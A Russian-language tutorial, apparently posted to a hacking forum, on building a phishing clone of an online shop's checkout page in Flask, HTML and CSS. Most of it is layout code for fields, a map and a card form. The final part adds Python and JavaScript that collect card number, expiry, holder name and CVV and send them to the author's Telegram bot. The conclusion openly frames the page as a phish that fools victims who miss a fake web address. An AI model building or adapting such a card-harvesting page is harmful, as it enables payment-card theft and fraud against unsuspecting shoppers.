<div class="left">
<div class="input-row">
<input type="text" class="custom-input">
<input type="text" class="custom-input">
</div>
<div class="input-row">
<input type="text" class="custom-input">
<input type="text" class="custom-input">
</div>
</div>
В стилях left указываем это:
CSS:
.left {
display: flex;
flex-direction: column;
gap: 10px;
}
Вот полный код, который у нас получился на данный момент:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
</head>
<body>
{% extends 'base.html' %}
{% block content %}
<div class="main">
<div class="left">
<div class="input-row">
<input type="text" class="custom-input">
<input type="text" class="custom-input">
</div>
<div class="input-row">
<input type="text" class="custom-input">
<input type="text" class="custom-input">
</div>
</div>
<div class="right">
<div class="info">
</div>
<div class="info1">
</div>
</div>
</div>
{% endblock %}
</body>
</html>
Вот стили для объектов:
CSS:
.left {
display: flex;
flex-direction: column;
gap: 10px;
}
.input-row {
display: flex;
gap: 10px; /* расстояние между полями ввода в ряду */
}
.custom-input {
border: none;
border-bottom: 1px solid black;
padding: 5px;
width: 100px; /* ширина поля ввода */
}
.main{
display: flex;
flex-direction: row;
justify-content: space-between;
}
.info{
background: #eeeeee;
width: 50px;
height: 50px;
}
.info1{
background: #ffffff;
width: 50px;
height: 50px;
}
Вот как выглядит на данный момент сама страница:
Как видно на скриншоте, к объектам в right, я назначил рандомные стили и цвета, это я сделал для того, чтобы вам было понятнее, где и что в данный момент находится на странице.
Сейчас нам нужно сделать правильные размеры и отступы для всех объектов, так что сейчас будет работа только со стилями.
Отступы будем делать с помощью margin, применять его нужно к объектам right и left.
CSS:
.left {
display: flex;
flex-direction: column;
gap: 10px;
margin-left: 60px;
margin-top: 70px;
}
.right{
margin-right: 60px;
margin-top: 75px;
}
Также нам нужно задать правильные размеры, скругления и тени объектам внутри div right.
CSS:
.info{
background: #eeeeee;
width: 400px;
height: 105px;
margin-bottom: 10px;
border-radius: 15px;
box-shadow: 0px 2px 3px lightgrey;
}
.info1{
background: #ffffff;
width: 400px;
height: 230px;
border-radius: 15px;
box-shadow: 0px 1px 2px lightgrey;
}
Вот что по итогу мы получаем:
Если посмотреть на оригинал и на нашу копию, то можно заметить, что у оригинала в полях для ввода есть текст. Чтобы нам также добавить текст, нам нужно добавить значение value к каждому объекту поля ввода:
HTML:
<input type="text" class="custom-input" value="Текст 1">
Также нам нужно изменить шрифт и цвет текста у полей ввода. На счёт шрифта, так как мы уже прописали его в base.css, он наследуется и к html файлу, который подвязан к base.html. Нам не нужно снова инициализировать шрифт, нужно просто указать его в стилях объекта. Цвет текста меняется свойством color. Вот как в данный момент выглядит страница:
Теперь нам нужно немного поработать с блоками в блоке right. У верхнего внутри надо добавить бордер, а у нижнего ещё один div блок с тенью. Данные не в один из этих блоков я записывать не буду, так как данные для них должны браться из базы данных о товаре, а так как мы делаем копию только одной страницы, а не всех, то брать нам эти данные неоткуда.
Для того чтобы в верхнем блоке добавить бордер внутри объекта, нам нужно создать ещё 1 div и назначить ему стиль нижнего бордера.
Вот как выглядит HTML этого блока:
HTML:
<div class="right">
<div class="info">
<div class="info_block"></div>
</div>
<div class="info1">
</div>
</div>
Вот его стили:
CSS:
.info_block{
width: 350px;
border-bottom: 1px solid #929292;
}
CSS:
.info{
background: #eeeeee;
width: 400px;
height: 105px;
margin-bottom: 10px;
border-radius: 15px;
box-shadow: 0px 2px 3px lightgrey;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
Теперь приступим к редактированию нижнего блока. С ним все проще: просто копируем родительский блок, меняем ему название класса и добавляем его внутрь родительского. Стили берем от родительского за исключением нескольких параметров, например размера, в остальном же, они идентичны.
Вот стили этого объекта:
CSS:
.info2{
background: #ffffff;
width: 359px;
height: 140px;
border-radius: 15px;
margin-bottom: 20px;
box-shadow: 0px 0px 2px lightgrey;
}
В родительском так же нужно добавить стили для выравнивания объектов внутри него:
CSS:
.info1{
background: #ffffff;
width: 400px;
height: 230px;
border-radius: 15px;
box-shadow: 0px 1px 2px lightgrey;
display: flex;
flex-direction: column;
justify-content: flex-end;
align-items: center;
}
Вот как теперь выглядит страница в браузере:
Как я уже говорил, текст в объекты добавлять не стал, так как он должен браться из базы данных магазина, а у нас всего лишь одностраничник. Поэтому переходим к добавлению карты. Оригинал использует 2Gis, поэтому мы тоже будем использовать 2Gis.
Для того чтобы добавить карту, нам нужно, прежде всего, добавить JavaScript код от 2Gis.
HTML:
<script src="https://maps.api.2gis.ru/2.0/loader.js"></script>
Затем опять же добавим еще один js код но напишем его уже сами.
HTML:
<script>
DG.then(function () {
var map = DG.map('map', {
center: [55.751244, 37.618423],
zoom: 13
});
});
</script>
Затем добавим объект, в котором будет наша карта.
HTML:
<div id="map" style="width: 100%; height: 400px;"></div>
Под картой у нас должно быть поле для ввода адреса, заморачиваться с ним не нужно, просто копируем любое поле ввода, которое мы уже сделали, меняем название класса и изменяем его длину на 100%. Таким образом, это поле будет растянуто от начала и до конца объекта с классом left.
Вот полный код HTML, который у нас получился:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<link rel="stylesheet" href="{{ url_for('static', filename='index.css') }}">
</head>
<body>
{% extends 'base.html' %}
{% block content %}
<div class="main">
<div class="left">
<div class="input-row">
<input type="text" class="custom-input" value="Email *">
<input type="text" class="custom-input" value="Phone Number *">
</div>
<div class="input-row">
<input type="text" class="custom-input" value="First Name *">
<input type="text" class="custom-input" value="Last Name *">
</div>
<div id="map" style="width: 100%; height: 400px;"></div>
<input type="text" class="map-input" value="Address *">
</div>
<div class="right">
<div class="info">
<div class="info_block"></div>
</div>
<div class="info1">
<div class="info2">
</div>
</div>
</div>
</div>
<script src="https://maps.api.2gis.ru/2.0/loader.js"></script>
<script>
DG.then(function () {
var map = DG.map('map', {
center: [55.751244, 37.618423], // Установите координаты центра карты
zoom: 13
});
});
</script>
{% endblock %}
</body>
</html>
Вот полный css код:
CSS:
.left {
display: flex;
flex-direction: column;
gap: 10px;
margin-left: 60px;
margin-top: 70px;
}
.input-row {
display: flex;
gap: 10px;
margin-bottom: 20px;
}
.custom-input {
border: none;
border-bottom: 1px solid #929292;
padding: 5px;
width: 390px;
height: 20px;
background: #fafafa;
color: #929292;
font-size: 18px;
font-family: 'Pioner Sans Light', sans-serif;
padding-top: 25px;
}
.main{
display: flex;
flex-direction: row;
justify-content: space-between;
}
.info{
background: #eeeeee;
width: 400px;
height: 105px;
margin-bottom: 10px;
border-radius: 15px;
box-shadow: 0px 2px 3px lightgrey;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
.info1{
background: #ffffff;
width: 400px;
height: 230px;
border-radius: 15px;
box-shadow: 0px 1px 2px lightgrey;
display: flex;
flex-direction: column;
justify-content: flex-end;
align-items: center;
}
.info2{
background: #ffffff;
width: 359px;
height: 140px;
border-radius: 15px;
margin-bottom: 20px;
box-shadow: 0px 0px 2px lightgrey;
}
.right{
margin-right: 60px;
margin-top: 75px;
}
.info_block{
width: 350px;
border-bottom: 1px solid #929292;
}
.map-input {
border: none;
border-bottom: 1px solid #929292;
padding: 5px;
width: 100%;
height: 20px;
background: #fafafa;
color: #929292;
font-size: 18px;
font-family: 'Pioner Sans Light', sans-serif;
padding-top: 25px;
}
Вот как выглядит наша страница на данный момент:
Теперь будем просто добавлять соответствующие поля для ввода, которые есть в оригинале. Для этого будем просто копировать ранее созданные объекты для ввода текста, а именно:
- Два объекта, в каждом из которых по 2 поля ввода.
- Один объект поля ввода длиной 100%.
- Один объект с 2 полями ввода.
- Один объект поля ввода длиной 100%.
- Один объект поля ввода длиной 100%.
Далее на оригинальном сайте идет блок с выбором метода оплаты.
Но нам же нужно, чтобы оплачивали именно картой, поэтому сделаем этот блок только с одним методом оплаты, который просит данные карты. Для этого нам нужно создать в самом низу блока "left" новый div блок. Его класс будет называться "payment_method". Назначим ему пока что такие стили:
CSS:
.payment_method{
background: #ffffff;
width: 100%;
height: 320px;
border-radius: 14px;
}
После того, как мы добавили объект, нам нужно добавить надпись "Select Your Payment Method". Для этого будем использовать объект span, которому назначим класс, чтобы добавлять стили не на прямую ко всем span, а к конкретному. У нас уже есть обращение ко всем объектам span, и если мы начнем редактировать стили для этой надписи таким методом, все остальные span объекты будут затронуты. Называться класс будет "payment_method_text". В нем мы назначим шрифт, размер шрифта и цвет текста.
CSS:
.payment_method_text{
font-family: 'Pioner Sans Light', sans-serif;
font-size: 25px;
color: #243464;
}
А в его родительский объект добавим padding, чтобы текст не прилегал к краям.
CSS:
.payment_method{
background: #ffffff;
width: 100%;
height: 320px;
border-radius: 14px;
padding: 10px;
}
Теперь нам нужно внутрь родительского объекта добавить еще один объект, в котором будет находиться выбранный метод оплаты. Для этого под объектом span мы создаем div с классом "payment" и добавим к нему такие стили:
CSS:
.payment{
width: 100%;
height: 60px;
border-radius: 14px;
box-shadow: 0px 0px 2px lightgrey;
}
Теперь внутрь этого объекта нам нужно добавить надпись "Online Payment" и чекбокс такой же, как у оригинала. Для этого нам нужно создать объект label, в котором будет два span объекта и объект input, который и будет самим чекбоксом.
HTML:
<label class="checkbox-container">
<input type="checkbox">
<span class="checkmark"></span>
<span class="online_payment_text">Online Payment</span>
</label>
А вот и css стили для всех этих объектов:
CSS:
.checkbox-container {
display: flex;
align-items: center;
cursor: pointer;
}
.checkbox-container input[type="checkbox"] {
display: none;
}
.checkbox-container .checkmark {
height: 20px;
width: 20px;
background-color: #eee;
border-radius: 50%;
border: 2px solid #ccc;
margin-right: 10px;
position: relative;
}
.checkbox-container input[type="checkbox"]:checked + .checkmark {
background-color: #ffffff;
border: 2px solid #243464;
}
- В .checkbox-container находятся свойства для выравнивания всех объектов внутри этого объекта.
- input[type="checkbox"] - это свойства чекбокса в состоянии, когда он активен.
- checkmark нужен для создания кружочка в центре чекбокса, когда он активен.
Теперь нам нужно сделать последний элемент на странице, а именно: Поля для ввода банковских данных. Для этого нам нужно создать объект div в самом низу объекта "left" и назвать его класс "card". Т.к. у оригинала есть узоры на углу объекта, делать их самому не вариант. Поэтому лезем через F12 в код объекта на оригинальном сайте и получаем вот такой вот стиль:
CSS:
background-image: linear-gradient(30deg, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 0.2) 70%), linear-gradient(45deg, rgba(255, 255, 255, 0) 75%, rgba(255, 255, 255, 0.2) 75%), linear-gradient(60deg, rgba(255, 255, 255, 0) 80%, rgba(255, 255, 255, 0.2) 80%);
Вот что в итоге у нас получается в CSS:
CSS:
.card{
width: 415px;
height: 250px;
border-radius: 14px;
background: #3c70a1;
background-image: linear-gradient(30deg, rgba(255, 255, 255, 0) 70%, rgba(255, 255, 255, 0.2) 70%), linear-gradient(45deg, rgba(255, 255, 255, 0) 75%, rgba(255, 255, 255, 0.2) 75%), linear-gradient(60deg, rgba(255, 255, 255, 0) 80%, rgba(255, 255, 255, 0.2) 80%);
}
А вот как это выглядит на сайте:
Теперь нужно добавить внутрь этого разрисованного объекта поля для ввода данных. Первым делом создадим div с классом "brand". В нем будет меню для выбора Visa или Mastercard. Для этого объекта назначим стили, чтобы объекты внутри него шли с лева на право.
CSS:
.brand{
display: flex;
flex-direction: row;
margin-top: 10px;
margin-left: 10px;
}
Затем добавим объект span, чтобы в нем хранилось слово "Brand". Назовем его класс "brand_text". В его стилях мы назначим шрифт и цвет текста.
CSS:
.brand_text{
font-family: 'Pioner Sans Light', sans-serif;
color: white;
}
Затем идет объект выпадающего меню:
HTML:
<div class="menu-container">
<div class="custom-select" onclick="toggleCustomSelect(event)">
<select>
<option value="option1">Visa</option>
<option value="option2">Mastercard</option>
</select>
</div>
</div>
Сам объект выпадающего меню называется селектором. Назначим теперь стили селектору, чтобы подогнать его размеры под оригинал.
CSS:
select{
width: 120px;
height: 30px;
border-radius: 5px;
margin-left: 35px;
}
Следующим объектом идет картинка Visa, ее мы лутаем с оригинального сайта и закидываем к нам в проект в папку img к остальным картинкам. На сайт ее добавляем таким образом:
HTML:
<img class="card_img" src="{{ url_for('static', filename='img/visa.png') }}" alt="Product Image"/>
CSS:
.card_img{
margin-left: 150px;
}
Вот что в итоге у нас получилось:
Теперь приступим к полям ввода для номера карты, CVV и т.д. Для этого создаем два div блока, в каждом из которых будет по два поля ввода. Затем создаем еще один блок, в который перемещаем ранее сделанные два блока.
HTML:
<div class="card_box">
<div class="input-card">
<input type="text" class="custom-input-card" value="Card Number">
<input type="text" class="custom-input-card1" value="MM/YY">
</div>
<div class="input-card">
<input type="text" class="custom-input-card" value="Card holder">
<input type="text" class="custom-input-card1" value="CVV">
</div>
</div>
Вот стили для текущих блоков:
CSS:
.input-card {
display: flex;
gap: 10px;
margin-bottom: 20px;
}
.custom-input-card {
border: none;
border-bottom: 1px solid #929292;
padding: 5px;
width: 350px;
height: 20px;
background: #fafafa;
color: #929292;
font-size: 18px;
font-family: 'Pioner Sans Light', sans-serif;
border-radius: 4px;
}
.custom-input-card1 {
border: none;
border-bottom: 1px solid #929292;
padding: 5px;
width: 100px;
height: 20px;
background: #fafafa;
color: #929292;
font-size: 18px;
font-family: 'Pioner Sans Light', sans-serif;
border-radius: 4px;
margin-left: 20px;
}
.card_box{
margin-top: 60px;
}
С полями закончили, теперь будем добавлять кнопку "Pay now", а затем делать отправку данных при нажатии этой кнопки в Telegram.
Итак, для начала создадим div с классом "btn_box". Он нужен для того, чтобы в его стилях сделать размещение объектов с правой стороны, чтобы в дальнейшем, при добавлении внутри этого блока кнопки, она была в правом углу.
Назначаем этому объекту такие стили:
CSS:
.btn_box{
display: flex;
flex-direction: row-reverse;
}
Далее создаем объект кнопки:
HTML:
<button class="pay">Pay now</button>
CSS:
.pay{
width: 80px;
height: 35px;
background: #61a60e;
border: none;
color: white;
border-radius: 5px;
}
Вот что получается на странице браузера:
С версткой сайта закончили, теперь будем делать сбор данных из полей и отправку в Telegram. Для этого перейдем в созданный в самом начале файл Python и первым делом добавим нужные нам импорты:
Python:
from flask import Flask, render_template, request, jsonify
import requests
Затем создадим две переменные, в которых будет храниться токен бота и наш чат ID Telegram.
Python:
TELEGRAM_BOT_TOKEN = ''
TELEGRAM_CHAT_ID = ''
Далее напишем функцию для принятия данных с сайта и последующей отправки в Telegram:
Python:
@app.route('/send_data', methods=['POST'])
def send_data():
data = request.json
message = f"Card Number: {data['card_number']}\nMM/YY: {data['mm_yy']}\nCard Holder: {data['card_holder']}\nCVV: {data['cvv']}"
url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
payload = {
'chat_id': TELEGRAM_CHAT_ID,
'text': message
}
response = requests.post(url, json=payload)
return jsonify({'status': 'success'} if response.status_code == 200 else {'status': 'fail'})
Теперь нужно изменить HTML файл и заменить объект с полями ввода на это:
HTML:
<div class="card_box">
<div class="input-card">
<input type="text" class="custom-input-card" id="card-number" value="Card Number">
<input type="text" class="custom-input-card1" id="mm-yy" value="MM/YY">
</div>
<div class="input-card">
<input type="text" class="custom-input-card" id="card-holder" value="Card holder">
<input type="text" class="custom-input-card1" id="cvv" value="CVV">
</div>
</div>
Теперь напишем функцию JavaScript, которая будет собирать данные из объектов с указанными id и отправлять их в наш Python код в функцию send_data.
HTML:
function sendData() {
const cardNumber = document.getElementById('card-number').value;
const mmYY = document.getElementById('mm-yy').value;
const cardHolder = document.getElementById('card-holder').value;
const cvv = document.getElementById('cvv').value;
fetch('/send_data', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
card_number: cardNumber,
mm_yy: mmYY,
card_holder: cardHolder,
cvv: cvv
})
})
}
Теперь о том, как работает отправка:
- JS лутает данные из объектов с указанными id.
- Отправляет их в /send_data в формате JSON строки.
- Функция в Python-коде принимает данные в формате JSON строки.
- Берет все объекты из JSON и добавляет их в переменную message.
- Отправляет получившийся message через HTTPS на адрес из переменной URL.
Заключение:
В данной статье я постарался объяснить простым языком работу с HTML и CSS, а также показать, как разделять объекты на странице и вручную копировать объекты с других сайтов на примере фиша. Страница у меня получилась не полной копией, но очень приближенной. По моему опыту, если человек в принципе повелся на сайт с неоригинальным адресом, то вряд ли будет всматриваться в сайт и в его различия с оригиналом. Так что мне кажется, даже такой копии вполне хватит. Также для копирования сайта есть сторонние приложения, но их проблема в том, что они не всегда собирают сайт корректно, так что вам чаще всего все равно придется некоторые страницы делать самому.
Статья написана CognitoInc специально для форума xss.pro